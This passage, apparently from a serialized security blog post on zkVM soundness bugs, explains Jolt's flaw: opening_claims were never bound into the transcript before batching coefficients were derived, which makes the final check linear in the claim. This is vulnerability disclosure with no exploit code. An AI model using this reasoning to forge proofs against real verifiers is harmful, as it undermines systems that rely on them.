className":115872},[4776,4826],[115874],{"type":26,"value":17718},{"type":21,"tag":85,"props":115876,"children":115878},{"className":115877},[22167],[115879],{"type":26,"value":1900},{"type":26,"value":115881}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":21,"tag":19218,"props":115883,"children":115884},{},[],{"type":21,"tag":54,"props":115886,"children":115888},{"id":115887},"the-six-broken-systems",[115889],{"type":26,"value":115890},"The Six Broken Systems",{"type":21,"tag":22,"props":115892,"children":115893},{},[115894],{"type":21,"tag":4681,"props":115895,"children":115898},{"alt":115896,"src":115897},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":21,"tag":22,"props":115900,"children":115901},{},[115902],{"type":26,"value":115903},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":21,"tag":19218,"props":115905,"children":115906},{},[],{"type":21,"tag":10022,"props":115908,"children":115910},{"id":115909},"jolt-a16z",[115911],{"type":26,"value":115912},"Jolt (a16z)",{"type":21,"tag":22,"props":115914,"children":115915},{},[115916],{"type":26,"value":115917},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":21,"tag":22,"props":115919,"children":115920},{},[115921],{"type":21,"tag":873,"props":115922,"children":115923},{},[115924],{"type":26,"value":115925},"The proof structure:",{"type":21,"tag":75,"props":115927,"children":115929},{"code":115928},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[115930],{"type":21,"tag":66,"props":115931,"children":115932},{"__ignoreMap":7},[115933],{"type":26,"value":115928},{"type":21,"tag":22,"props":115935,"children":115936},{},[115937],{"type":21,"tag":873,"props":115938,"children":115939},{},[115940],{"type":26,"value":115941},"The verification flow:",{"type":21,"tag":22,"props":115943,"children":115944},{},[115945],{"type":21,"tag":4681,"props":115946,"children":115949},{"alt":115947,"src":115948},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":21,"tag":22,"props":115951,"children":115952},{},[115953,115958,115960,115966,115968,115974,115976,115981],{"type":21,"tag":873,"props":115954,"children":115955},{},[115956],{"type":26,"value":115957},"The bug:",{"type":26,"value":115959}," Each sumcheck instance provides an ",{"type":21,"tag":66,"props":115961,"children":115963},{"className":115962},[],[115964],{"type":26,"value":115965},"input_claim",{"type":26,"value":115967},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":21,"tag":66,"props":115969,"children":115971},{"className":115970},[],[115972],{"type":26,"value":115973},"opening_claims",{"type":26,"value":115975}," in the proof, but they were ",{"type":21,"tag":873,"props":115977,"children":115978},{},[115979],{"type":26,"value":115980},"never absorbed into the transcript",{"type":26,"value":115982}," before the batching coefficients were derived.",{"type":21,"tag":22,"props":115984,"children":115985},{},[115986],{"type":21,"tag":4681,"props":115987,"children":115990},{"alt":115988,"src":115989},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":21,"tag":22,"props":115992,"children":115993},{},[115994],{"type":21,"tag":873,"props":115995,"children":115996},{},[115997],{"type":26,"value":115998},"How sumcheck uses opening_claims:",{"type":21,"tag":22,"props":116000,"children":116001},{},[116002,116004,116010,116012,116089],{"type":26,"value":116003},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":21,"tag":66,"props":116005,"children":116007},{"className":116006},[],[116008],{"type":26,"value":116009},"BatchedClaim",{"type":26,"value":116011}," by taking a random linear combination of the individual claims ",{"type":21,"tag":66,"props":116013,"children":116015},{"className":116014},[4748,4749],[116016],{"type":21,"tag":85,"props":116017,"children":116019},{"className":116018},[4754],[116020],{"type":21,"tag":85,"props":116021,"children":116023},{"className":116022,"ariaHidden":4760},[4759],[116024],{"type":21,"tag":85,"props":116025,"children":116027},{"className":116026},[4765],[116028,116032],{"type":21,"tag":85,"props":116029,"children":116031},{"className":116030,"style":111506},[4770],[],{"type":21,"tag":85,"props":116033,"children":116035},{"className":116034},[4776],[116036,116041],{"type":21,"tag":85,"props":116037,"children":116039},{"className":116038,"style":93743},[4776,22016],[116040],{"type":26,"value":93746},{"type":21,"tag":85,"props":116042,"children":116044},{"className":116043},[4793],[116045],{"type":21,"tag":85,"props":116046,"children":116048},{"className":116047},[4798,22070],[116049,116078],{"type":21,"tag":85,"props":116050,"children":116052},{"className":116051},[4803],[116053,116073],{"type":21,"tag":85,"props":116054,"children":116056},{"className":116055,"style":94038},[4808],[116057],{"type":21,"tag":85,"props":116058,"children":116059},{"style":110938},[116060,116064],{"type":21,"tag":85,"props":116061,"children":116063},{"className":116062,"style":4818},[4817],[],{"type":21,"tag":85,"props":116065,"children":116067},{"className":116066},[4823,4824,4825,4826],[116068],{"type":21,"tag":85,"props":116069,"children":116071},{"className":116070},[4776,22016,4826],[116072],{"type":26,"value":3003},{"type":21,"tag":85,"props":116074,"children":116076},{"className":116075},[22173],[116077],{"type":26,"value":22176},{"type":21,"tag":85,"props":116079,"children":116081},{"className":116080},[4803],[116082],{"type":21,"tag":85,"props":116083,"children":116085},{"className":116084,"style":93592},[4808],[116086],{"type":21,"tag":85,"props":116087,"children":116088},{},[],{"type":26,"value":172},{"type":21,"tag":22,"props":116091,"children":116092},{},[116093],{"type":21,"tag":66,"props":116094,"children":116096},{"className":116095},[4748,4749],[116097],{"type":21,"tag":85,"props":116098,"children":116100},{"className":116099},[4754],[116101],{"type":21,"tag":85,"props":116102,"children":116104},{"className":116103,"ariaHidden":4760},[4759],[116105,116135,116276],{"type":21,"tag":85,"props":116106,"children":116108},{"className":116107},[4765],[116109,116113,116122,116126,116131],{"type":21,"tag":85,"props":116110,"children":116112},{"className":116111,"style":93424},[4770],[],{"type":21,"tag":85,"props":116114,"children":116116},{"className":116115},[4776,26],[116117],{"type":21,"tag":85,"props":116118,"children":116120},{"className":116119},[4776],[116121],{"type":26,"value":116009},{"type":21,"tag":85,"props":116123,"children":116125},{"className":116124,"style":4955},[4857],[],{"type":21,"tag":85,"props":116127,"children":116129},{"className":116128},[4960],[116130],{"type":26,"value":741},{"type":21,"tag":85,"props":116132,"children":116134},{"className":116133,"style":4955},[4857],[],{"type":21,"tag":85,"props":116136,"children":116138},{"className":116137},[4765],[116139,116144,116201,116205,116263,116267,116272],{"type":21,"tag":85,"props":116140,"children":116143},{"className":116141,"style":116142},[4770],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":21,"tag":85,"props":116145,"children":116147},{"className":116146},[22052],[116148,116153],{"type":21,"tag":85,"props":116149,"children":116151},{"className":116150,"style":22059},[22052,22057,22058],[116152],{"type":26,"value":109304},{"type":21,"tag":85,"props":116154,"children":116156},{"className":116155},[4793],[116157],{"type":21,"tag":85,"props":116158,"children":116160},{"className":116159},[4798,22070],[116161,116190],{"type":21,"tag":85,"props":116162,"children":116164},{"className":116163},[4803],[116165,116185],{"type":21,"tag":85,"props":116166,"children":116168},{"className":116167,"style":114716},[4808],[116169],{"type":21,"tag":85,"props":116170,"children":116171},{"style":22083},[116172,116176],{"type":21,"tag":85,"props":116173,"children":116175},{"className":116174,"style":4818},[4817],[],{"type":21,"tag":85,"props":116177,"children":116179},{"className":116178},[4823,4824,4825,4826],[116180],{"type":21,"tag":85,"props":116181,"children":116183},{"className":116182},[4776,22016,4826],[116184],{"type":26,"value":3003},{"type":21,"tag":85,"props":116186,"children":116188},{"className":116187},[22173],[116189],{"type":26,"value":22176},{"type":21,"tag":85,"props":116191,"children":116193},{"className":116192},[4803],[116194],{"type":21,"tag":85,"props":116195,"children":116197},{"className":116196,"style":114996},[4808],[116198],{"type":21,"tag":85,"props":116199,"children":116200},{},[],{"type":21,"tag":85,"props":116202,"children":116204},{"className":116203,"style":4896},[4857],[],{"type":21,"tag":85,"props":116206,"children":116208},{"className":116207},[4776],[116209,116214],{"type":21,"tag":85,"props":116210,"children":116212},{"className":116211,"style":115597},[4776,22016],[116213],{"type":26,"value":115600},{"type":21,"tag":85,"props":116215,"children":116217},{"className":116216},[4793],[116218],{"type":21,"tag":85,"props":116219,"children":116221},{"className":116220},[4798,22070],[116222,116252],{"type":21,"tag":85,"props":116223,"children":116225},{"className":116224},[4803],[116226,116247],{"type":21,"tag":85,"props":116227,"children":116229},{"className":116228,"style":94038},[4808],[116230],{"type":21,"tag":85,"props":116231,"children":116233},{"style":116232},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[116234,116238],{"type":21,"tag":85,"props":116235,"children":116237},{"className":116236,"style":4818},[4817],[],{"type":21,"tag":85,"props":116239,"children":116241},{"className":116240},[4823,4824,4825,4826],[116242],{"type":21,"tag":85,"props":116243,"children":116245},{"className":116244},[4776,22016,4826],[116246],{"type":26,"value":3003},{"type":21,"tag":85,"props":116248,"children":116250},{"className":116249},[22173],[116251],{"type":26,"value":22176},{"type":21,"tag":85,"props":116253,"children":116255},{"className":116254},[4803],[116256],{"type":21,"tag":85,"props":116257,"children":116259},{"className":116258,"style":93592},[4808],[116260],{"type":21,"tag":85,"props":116261,"children":116262},{},[],{"type":21,"tag":85,"props":116264,"children":116266},{"className":116265,"style":4858},[4857],[],{"type":21,"tag":85,"props":116268,"children":116270},{"className":116269},[4863],[116271],{"type":26,"value":111771},{"type":21,"tag":85,"props":116273,"children":116275},{"className":116274,"style":4858},[4857],[],{"type":21,"tag":85,"props":116277,"children":116279},{"className":116278},[4765],[116280,116284],{"type":21,"tag":85,"props":116281,"children":116283},{"className":116282,"style":111506},[4770],[],{"type":21,"tag":85,"props":116285,"children":116287},{"className":116286},[4776],[116288,116293],{"type":21,"tag":85,"props":116289,"children":116291},{"className":116290,"style":93743},[4776,22016],[116292],{"type":26,"value":93746},{"type":21,"tag":85,"props":116294,"children":116296},{"className":116295},[4793],[116297],{"type":21,"tag":85,"props":116298,"children":116300},{"className":116299},[4798,22070],[116301,116330],{"type":21,"tag":85,"props":116302,"children":116304},{"className":116303},[4803],[116305,116325],{"type":21,"tag":85,"props":116306,"children":116308},{"className":116307,"style":94038},[4808],[116309],{"type":21,"tag":85,"props":116310,"children":116311},{"style":110938},[116312,116316],{"type":21,"tag":85,"props":116313,"children":116315},{"className":116314,"style":4818},[4817],[],{"type":21,"tag":85,"props":116317,"children":116319},{"className":116318},[4823,4824,4825,4826],[116320],{"type":21,"tag":85,"props":116321,"children":116323},{"className":116322},[4776,22016,4826],[116324],{"type":26,"value":3003},{"type":21,"tag":85,"props":116326,"children":116328},{"className":116327},[22173],[116329],{"type":26,"value":22176},{"type":21,"tag":85,"props":116331,"children":116333},{"className":116332},[4803],[116334],{"type":21,"tag":85,"props":116335,"children":116337},{"className":116336,"style":93592},[4808],[116338],{"type":21,"tag":85,"props":116339,"children":116340},{},[],{"type":21,"tag":22,"props":116342,"children":116343},{},[116344,116346,116423,116425,116430,116432,116509,116511,116588,116590,116667],{"type":26,"value":116345},"where ",{"type":21,"tag":66,"props":116347,"children":116349},{"className":116348},[4748,4749],[116350],{"type":21,"tag":85,"props":116351,"children":116353},{"className":116352},[4754],[116354],{"type":21,"tag":85,"props":116355,"children":116357},{"className":116356,"ariaHidden":4760},[4759],[116358],{"type":21,"tag":85,"props":116359,"children":116361},{"className":116360},[4765],[116362,116366],{"type":21,"tag":85,"props":116363,"children":116365},{"className":116364,"style":110479},[4770],[],{"type":21,"tag":85,"props":116367,"children":116369},{"className":116368},[4776],[116370,116375],{"type":21,"tag":85,"props":116371,"children":116373},{"className":116372,"style":115597},[4776,22016],[116374],{"type":26,"value":115600},{"type":21,"tag":85,"props":116376,"children":116378},{"className":116377},[4793],[116379],{"type":21,"tag":85,"props":116380,"children":116382},{"className":116381},[4798,22070],[116383,116412],{"type":21,"tag":85,"props":116384,"children":116386},{"className":116385},[4803],[116387,116407],{"type":21,"tag":85,"props":116388,"children":116390},{"className":116389,"style":94038},[4808],[116391],{"type":21,"tag":85,"props":116392,"children":116393},{"style":116232},[116394,116398],{"type":21,"tag":85,"props":116395,"children":116397},{"className":116396,"style":4818},[4817],[],{"type":21,"tag":85,"props":116399,"children":116401},{"className":116400},[4823,4824,4825,4826],[116402],{"type":21,"tag":85,"props":116403,"children":116405},{"className":116404},[4776,22016,4826],[116406],{"type":26,"value":3003},{"type":21,"tag":85,"props":116408,"children":116410},{"className":116409},[22173],[116411],{"type":26,"value":22176},{"type":21,"tag":85,"props":116413,"children":116415},{"className":116414},[4803],[116416],{"type":21,"tag":85,"props":116417,"children":116419},{"className":116418,"style":93592},[4808],[116420],{"type":21,"tag":85,"props":116421,"children":116422},{},[],{"type":26,"value":116424}," are random coefficients derived from the transcript. Since ",{"type":21,"tag":66,"props":116426,"children":116428},{"className":116427},[],[116429],{"type":26,"value":115973},{"type":26,"value":116431}," (containing ",{"type":21,"tag":66,"props":116433,"children":116435},{"className":116434},[4748,4749],[116436],{"type":21,"tag":85,"props":116437,"children":116439},{"className":116438},[4754],[116440],{"type":21,"tag":85,"props":116441,"children":116443},{"className":116442,"ariaHidden":4760},[4759],[116444],{"type":21,"tag":85,"props":116445,"children":116447},{"className":116446},[4765],[116448,116452],{"type":21,"tag":85,"props":116449,"children":116451},{"className":116450,"style":111506},[4770],[],{"type":21,"tag":85,"props":116453,"children":116455},{"className":116454},[4776],[116456,116461],{"type":21,"tag":85,"props":116457,"children":116459},{"className":116458,"style":93743},[4776,22016],[116460],{"type":26,"value":93746},{"type":21,"tag":85,"props":116462,"children":116464},{"className":116463},[4793],[116465],{"type":21,"tag":85,"props":116466,"children":116468},{"className":116467},[4798,22070],[116469,116498],{"type":21,"tag":85,"props":116470,"children":116472},{"className":116471},[4803],[116473,116493],{"type":21,"tag":85,"props":116474,"children":116476},{"className":116475,"style":94038},[4808],[116477],{"type":21,"tag":85,"props":116478,"children":116479},{"style":110938},[116480,116484],{"type":21,"tag":85,"props":116481,"children":116483},{"className":116482,"style":4818},[4817],[],{"type":21,"tag":85,"props":116485,"children":116487},{"className":116486},[4823,4824,4825,4826],[116488],{"type":21,"tag":85,"props":116489,"children":116491},{"className":116490},[4776,22016,4826],[116492],{"type":26,"value":3003},{"type":21,"tag":85,"props":116494,"children":116496},{"className":116495},[22173],[116497],{"type":26,"value":22176},{"type":21,"tag":85,"props":116499,"children":116501},{"className":116500},[4803],[116502],{"type":21,"tag":85,"props":116503,"children":116505},{"className":116504,"style":93592},[4808],[116506],{"type":21,"tag":85,"props":116507,"children":116508},{},[],{"type":26,"value":116510},") were not in the transcript, the ",{"type":21,"tag":66,"props":116512,"children":116514},{"className":116513},[4748,4749],[116515],{"type":21,"tag":85,"props":116516,"children":116518},{"className":116517},[4754],[116519],{"type":21,"tag":85,"props":116520,"children":116522},{"className":116521,"ariaHidden":4760},[4759],[116523],{"type":21,"tag":85,"props":116524,"children":116526},{"className":116525},[4765],[116527,116531],{"type":21,"tag":85,"props":116528,"children":116530},{"className":116529,"style":110479},[4770],[],{"type":21,"tag":85,"props":116532,"children":116534},{"className":116533},[4776],[116535,116540],{"type":21,"tag":85,"props":116536,"children":116538},{"className":116537,"style":115597},[4776,22016],[116539],{"type":26,"value":115600},{"type":21,"tag":85,"props":116541,"children":116543},{"className":116542},[4793],[116544],{"type":21,"tag":85,"props":116545,"children":116547},{"className":116546},[4798,22070],[116548,116577],{"type":21,"tag":85,"props":116549,"children":116551},{"className":116550},[4803],[116552,116572],{"type":21,"tag":85,"props":116553,"children":116555},{"className":116554,"style":94038},[4808],[116556],{"type":21,"tag":85,"props":116557,"children":116558},{"style":116232},[116559,116563],{"type":21,"tag":85,"props":116560,"children":116562},{"className":116561,"style":4818},[4817],[],{"type":21,"tag":85,"props":116564,"children":116566},{"className":116565},[4823,4824,4825,4826],[116567],{"type":21,"tag":85,"props":116568,"children":116570},{"className":116569},[4776,22016,4826],[116571],{"type":26,"value":3003},{"type":21,"tag":85,"props":116573,"children":116575},{"className":116574},[22173],[116576],{"type":26,"value":22176},{"type":21,"tag":85,"props":116578,"children":116580},{"className":116579},[4803],[116581],{"type":21,"tag":85,"props":116582,"children":116584},{"className":116583,"style":93592},[4808],[116585],{"type":21,"tag":85,"props":116586,"children":116587},{},[],{"type":26,"value":116589}," values are independent of ",{"type":21,"tag":66,"props":116591,"children":116593},{"className":116592},[4748,4749],[116594],{"type":21,"tag":85,"props":116595,"children":116597},{"className":116596},[4754],[116598],{"type":21,"tag":85,"props":116599,"children":116601},{"className":116600,"ariaHidden":4760},[4759],[116602],{"type":21,"tag":85,"props":116603,"children":116605},{"className":116604},[4765],[116606,116610],{"type":21,"tag":85,"props":116607,"children":116609},{"className":116608,"style":111506},[4770],[],{"type":21,"tag":85,"props":116611,"children":116613},{"className":116612},[4776],[116614,116619],{"type":21,"tag":85,"props":116615,"children":116617},{"className":116616,"style":93743},[4776,22016],[116618],{"type":26,"value":93746},{"type":21,"tag":85,"props":116620,"children":116622},{"className":116621},[4793],[116623],{"type":21,"tag":85,"props":116624,"children":116626},{"className":116625},[4798,22070],[116627,116656],{"type":21,"tag":85,"props":116628,"children":116630},{"className":116629},[4803],[116631,116651],{"type":21,"tag":85,"props":116632,"children":116634},{"className":116633,"style":94038},[4808],[116635],{"type":21,"tag":85,"props":116636,"children":116637},{"style":110938},[116638,116642],{"type":21,"tag":85,"props":116639,"children":116641},{"className":116640,"style":4818},[4817],[],{"type":21,"tag":85,"props":116643,"children":116645},{"className":116644},[4823,4824,4825,4826],[116646],{"type":21,"tag":85,"props":116647,"children":116649},{"className":116648},[4776,22016,4826],[116650],{"type":26,"value":3003},{"type":21,"tag":85,"props":116652,"children":116654},{"className":116653},[22173],[116655],{"type":26,"value":22176},{"type":21,"tag":85,"props":116657,"children":116659},{"className":116658},[4803],[116660],{"type":21,"tag":85,"props":116661,"children":116663},{"className":116662,"style":93592},[4808],[116664],{"type":21,"tag":85,"props":116665,"children":116666},{},[],{"type":26,"value":73},{"type":21,"tag":22,"props":116669,"children":116670},{},[116671],{"type":21,"tag":873,"props":116672,"children":116673},{},[116674],{"type":26,"value":116675},"Why it's linear:",{"type":21,"tag":22,"props":116677,"children":116678},{},[116679,116681],{"type":26,"value":116680},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":21,"tag":66,"props":116682,"children":116684},{"className":116683},[4748,4749],[116685],{"type":21,"tag":85,"props":116686,"children":116688},{"className":116687},[4754],[116689],{"type":21,"tag":85,"props":116690,"children":116692},{"className":116691,"ariaHidden":4760},[4759],[116693],{"type":21,"tag":85,"props":116694,"children":116696},{"className":116695},[4765],[116697,116701],{"type":21,"tag":85,"props":116698,"children":116700},{"className":116699,"style":22011},[4770],[],{"type":21,"tag":85,"props":116702,"children":116704},{"className":116703,"style":93743},[4776,22016],[116705],{"type":26,"value":93746},{"type":21,"tag":22,"props":116707,"children":116708},{},[116709],{"type":21,"tag":66,"props":116710,"children":116712},{"className":116711},[4748,4749],[116713],{"type":21,"tag":85,"props":116714,"children":116716},{"className":116715},[4754],[116717],{"type":21,"tag":85,"props":116718,"children":116720},{"className":116719,"ariaHidden":4760},[4759],[116721,116811,116837,116863],{"type":21,"tag":85,"props":116722,"children":116724},{"className":116723},[4765],[116725,116729,116798,116802,116807],{"type":21,"tag":85,"props":116726,"children":116728},{"className":116727,"style":111506},[4770],[],{"type":21,"tag":85,"props":116730,"children":116732},{"className":116731},[4776],[116733,116739],{"type":21,"tag":85,"props":116734,"children":116736},{"className":116735,"style":22548},[4776,22016],[116737],{"type":26,"value":116738},"C",{"type":21,"tag":85,"props":116740,"children":116742},{"className":116741},[4793],[116743],{"type":21,"tag":85,"props":116744,"children":116746},{"className":116745},[4798,22070],[116747,116787],{"type":21,"tag":85,"props":116748,"children":116750},{"className":116749},[4803],[116751,116782],{"type":21,"tag":85,"props":116752,"children":116755},{"className":116753,"style":116754},[4808],"height:0.3361em;",[116756],{"type":21,"tag":85,"props":116757,"children":116759},{"style":116758},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[116760,116764],{"type":21,"tag":85,"props":116761,"children":116763},{"className":116762,"style":4818},[4817],[],{"type":21,"tag":85,"props":116765,"children":116767},{"className":116766},[4823,4824,4825,4826],[116768],{"type":21,"tag":85,"props":116769,"children":116771},{"className":116770},[4776,4826],[116772],{"type":21,"tag":85,"props":116773,"children":116775},{"className":116774},[4776,26,4826],[116776],{"type":21,"tag":85,"props":116777,"children":116779},{"className":116778},[4776,4826],[116780],{"type":26,"value":116781},"final",{"type":21,"tag":85,"props":116783,"children":116785},{"className":116784},[22173],[116786],{"type":26,"value":22176},{"type":21,"tag":85,"props":116788,"children":116790},{"className":116789},[4803],[116791],{"type":21,"tag":85,"props":116792,"children":116794},{"className":116793,"style":93592},[4808],[116795],{"type":21,"tag":85,"props":116796,"children":116797},{},[],{"type":21,"tag":85,"props":116799,"children":116801},{"className":116800,"style":4955},[4857],[],{"type":21,"tag":85,"props":116803,"children":116805},{"className":116804},[4960],[116806],{"type":26,"value":741},{"type":21,"tag":85,"props":116808,"children":116810},{"className":116809,"style":4955},[4857],[],{"type":21,"tag":85,"props":116812,"children":116814},{"className":116813},[4765],[116815,116819,116824,116828,116833],{"type":21,"tag":85,"props":116816,"children":116818},{"className":116817,"style":115592},[4770],[],{"type":21,"tag":85,"props":116820,"children":116822},{"className":116821},[4776,22016],[116823],{"type":26,"value":335},{"type":21,"tag":85,"props":116825,"children":116827},{"className":116826,"style":4858},[4857],[],{"type":21,"tag":85,"props":116829,"children":116831},{"className":116830},[4863],[116832],{"type":26,"value":111771},{"type":21,"tag":85,"props":116834,"children":116836},{"className":116835,"style":4858},[4857],[],{"type":21,"tag":85,"props":116838,"children":116840},{"className":116839},[4765],[116841,116845,116850,116854,116859],{"type":21,"tag":85,"props":116842,"children":116844},{"className":116843,"style":115621},[4770],[],{"type":21,"tag":85,"props":116846,"children":116848},{"className":116847,"style":93743},[4776,22016],[116849],{"type":26,"value":93746},{"type":21,"tag":85,"props":116851,"children":116853},{"className":116852,"style":4858},[4857],[],{"type":21,"tag":85,"props":116855,"children":116857},{"className":116856},[4863],[116858],{"type":26,"value":5151},{"type":21,"tag":85,"props":116860,"children":116862},{"className":116861,"style":4858},[4857],[],{"type":21,"tag":85,"props":116864,"children":116866},{"className":116865},[4765],[116867,116871],{"type":21,"tag":85,"props":116868,"children":116870},{"className":116869,"style":93424},[4770],[],{"type":21,"tag":85,"props":116872,"children":116874},{"className":116873},[4776,22016],[116875],{"type":26,"value":3994},{"type":21,"tag":22,"props":116877,"children":116878},{},[116879,116880,116919,116921,116946,116948,117078,117080,117201],{"type":26,"value":116345},{"type":21,"tag":66,"props":116881,"children":116883},{"className":116882},[4748,4749],[116884],{"type":21,"tag":85,"props":116885,"children":116887},{"className":116886},[4754],[116888],{"type":21,"tag":85,"props":116889,"children":116891},{"className":116890,"ariaHidden":4760},[4759],[116892],{"type":21,"tag":85,"props":116893,"children":116895},{"className":116894},[4765],[116896,116900,116905,116910,116914],{"type":21,"tag":85,"props":116897,"children":116899},{"className":116898,"style":115564},[4770],[],{"type":21,"tag":85,"props":116901,"children":116903},{"className":116902},[4776,22016],[116904],{"type":26,"value":335},{"type":21,"tag":85,"props":116906,"children":116908},{"className":116907},[4889],[116909],{"type":26,"value":4892},{"type":21,"tag":85,"props":116911,"children":116913},{"className":116912,"style":4896},[4857],[],{"type":21,"tag":85,"props":116915,"children":116917},{"className":116916},[4776,22016],[116918],{"type":26,"value":3994},{"type":26,"value":116920}," are determined by the transcript (independent of ",{"type":21,"tag":66,"props":116922,"children":116924},{"className":116923},[4748,4749],[116925],{"type":21,"tag":85,"props":116926,"children":116928},{"className":116927},[4754],[116929],{"type":21,"tag":85,"props":116930,"children":116932},{"className":116931,"ariaHidden":4760},[4759],[116933],{"type":21,"tag":85,"props":116934,"children":116936},{"className":116935},[4765],[116937,116941],{"type":21,"tag":85,"props":116938,"children":116940},{"className":116939,"style":22011},[4770],[],{"type":21,"tag":85,"props":116942,"children":116944},{"className":116943,"style":93743},[4776,22016],[116945],{"type":26,"value":93746},{"type":26,"value":116947},"). The verifier checks that ",{"type":21,"tag":66,"props":116949,"children":116951},{"className":116950},[4748,4749],[116952],{"type":21,"tag":85,"props":116953,"children":116955},{"className":116954},[4754],[116956],{"type":21,"tag":85,"props":116957,"children":116959},{"className":116958,"ariaHidden":4760},[4759],[116960,117046],{"type":21,"tag":85,"props":116961,"children":116963},{"className":116962},[4765],[116964,116968,117033,117037,117042],{"type":21,"tag":85,"props":116965,"children":116967},{"className":116966,"style":111506},[4770],[],{"type":21,"tag":85,"props":116969,"children":116971},{"className":116970},[4776],[116972,116977],{"type":21,"tag":85,"props":116973,"children":116975},{"className":116974,"style":22548},[4776,22016],[116976],{"type":26,"value":116738},{"type":21,"tag":85,"props":116978,"children":116980},{"className":116979},[4793],[116981],{"type":21,"tag":85,"props":116982,"children":116984},{"className":116983},[4798,22070],[116985,117022],{"type":21,"tag":85,"props":116986,"children":116988},{"className":116987},[4803],[116989,117017],{"type":21,"tag":85,"props":116990,"children":116992},{"className":116991,"style":116754},[4808],[116993],{"type":21,"tag":85,"props":116994,"children":116995},{"style":116758},[116996,117000],{"type":21,"tag":85,"props":116997,"children":116999},{"className":116998,"style":4818},[4817],[],{"type":21,"tag":85,"props":117001,"children":117003},{"className":117002},[4823,4824,4825,4826],[117004],{"type":21,"tag":85,"props":117005,"children":117007},{"className":117006},[4776,4826],[117008],{"type":21,"tag":85,"props":117009,"children":117011},{"className":117010},[4776,26,4826],[117012],{"type":21,"tag":85,"props":117013,"children":117015},{"className":117014},[4776,4826],[117016],{"type":26,"value":116781},{"type":21,"tag":85,"props":117018,"children":117020},{"className":117019},[22173],[117021],{"type":26,"value":22176},{"type":21,"tag":85,"props":117023,"children":117025},{"className":117024},[4803],[117026],{"type":21,"tag":85,"props":117027,"children":117029},{"className":117028,"style":93592},[4808],[117030],{"type":21,"tag":85,"props":117031,"children":117032},{},[],{"type":21,"tag":85,"props":117034,"children":117036},{"className":117035,"style":4955},[4857],[],{"type":21,"tag":85,"props":117038,"children":117040},{"className":117039},[4960],[117041],{"type":26,"value":741},{"type":21,"tag":85,"props":117043,"children":117045},{"className":117044,"style":4955},[4857],[],{"type":21,"tag":85,"props":117047,"children":117049},{"className":117048},[4765],[117050,117054,117064,117069],{"type":21,"tag":85,"props":117051,"children":117053},{"className":117052,"style":94922},[4770],[],{"type":21,"tag":85,"props":117055,"children":117057},{"className":117056},[4776,26],[117058],{"type":21,"tag":85,"props":117059,"children":117061},{"className":117060},[4776],[117062],{"type":26,"value":117063},"expected",{"type":21,"tag":85,"props":117065,"children":117067},{"className":117066,"style":93509},[4776],[117068],{"type":26,"value":3856},{"type":21,"tag":85,"props":117070,"children":117072},{"className":117071},[4776,26],[117073],{"type":21,"tag":85,"props":117074,"children":117076},{"className":117075},[4776],[117077],{"type":26,"value":37996},{"type":26,"value":117079}," (from PCS opening), this becomes ",{"type":21,"tag":66,"props":117081,"children":117083},{"className":117082},[4748,4749],[117084],{"type":21,"tag":85,"props":117085,"children":117087},{"className":117086},[4754],[117088],{"type":21,"tag":85,"props":117089,"children":117091},{"className":117090,"ariaHidden":4760},[4759],[117092,117118,117144,117170],{"type":21,"tag":85,"props":117093,"children":117095},{"className":117094},[4765],[117096,117100,117105,117109,117114],{"type":21,"tag":85,"props":117097,"children":117099},{"className":117098,"style":115592},[4770],[],{"type":21,"tag":85,"props":117101,"children":117103},{"className":117102},[4776,22016],[117104],{"type":26,"value":335},{"type":21,"tag":85,"props":117106,"children":117108},{"className":117107,"style":4858},[4857],[],{"type":21,"tag":85,"props":117110,"children":117112},{"className":117111},[4863],[117113],{"type":26,"value":111771},{"type":21,"tag":85,"props":117115,"children":117117},{"className":117116,"style":4858},[4857],[],{"type":21,"tag":85,"props":117119,"children":117121},{"className":117120},[4765],[117122,117126,117131,117135,117140],{"type":21,"tag":85,"props":117123,"children":117125},{"className":117124,"style":115621},[4770],[],{"type":21,"tag":85,"props":117127,"children":117129},{"className":117128,"style":93743},[4776,22016],[117130],{"type":26,"value":93746},{"type":21,"tag":85,"props":117132,"children":117134},{"className":117133,"style":4858},[4857],[],{"type":21,"tag":85,"props":117136,"children":117138},{"className":117137},[4863],[117139],{"type":26,"value":5151},{"type":21,"tag":85,"props":117141,"children":117143},{"className":117142,"style":4858},[4857],[],{"type":21,"tag":85,"props":117145,"children":117147},{"className":117146},[4765],[117148,117152,117157,117161,117166],{"type":21,"tag":85,"props":117149,"children":117151},{"className":117150,"style":93424},[4770],[],{"type":21,"tag":85,"props":117153,"children":117155},{"className":117154},[4776,22016],[117156],{"type":26,"value":3994},{"type":21,"tag":85,"props":117158,"children":117160},{"className":117159,"style":4955},[4857],[],{"type":21,"tag":85,"props":117162,"children":117164},{"className":117163},[4960],[117165],{"type":26,"value":741},{"type":21,"tag":85,"props":117167,"children":117169},{"className":117168,"style":4955},[4857],[],{"type":21,"tag":85,"props":117171,"children":117173},{"className":117172},[4765],[117174,117178,117187,117192],{"type":21,"tag":85,"props":117175,"children":117177},{"className":117176,"style":94922},[4770],[],{"type":21,"tag":85,"props":117179,"children":117181},{"className":117180},[4776,26],[117182],{"type":21,"tag":85,"props":117183,"children":117185},{"className":117184},[4776],[117186],{"type":26,"value":117063},{"type":21,"tag":85,"props":117188,"children":117190},{"className":117189,"style":93509},[4776],[117191],{"type":26,"value":3856},{"type":21,"tag":85,"props":117193,"children":117195},{"className":117194},[4776,26],[117196],{"type":21,"tag":85,"props":117197,"children":117199},{"className":117198},[4776],[117200],{"type":26,"value":37996},{"type":26,"value":73},{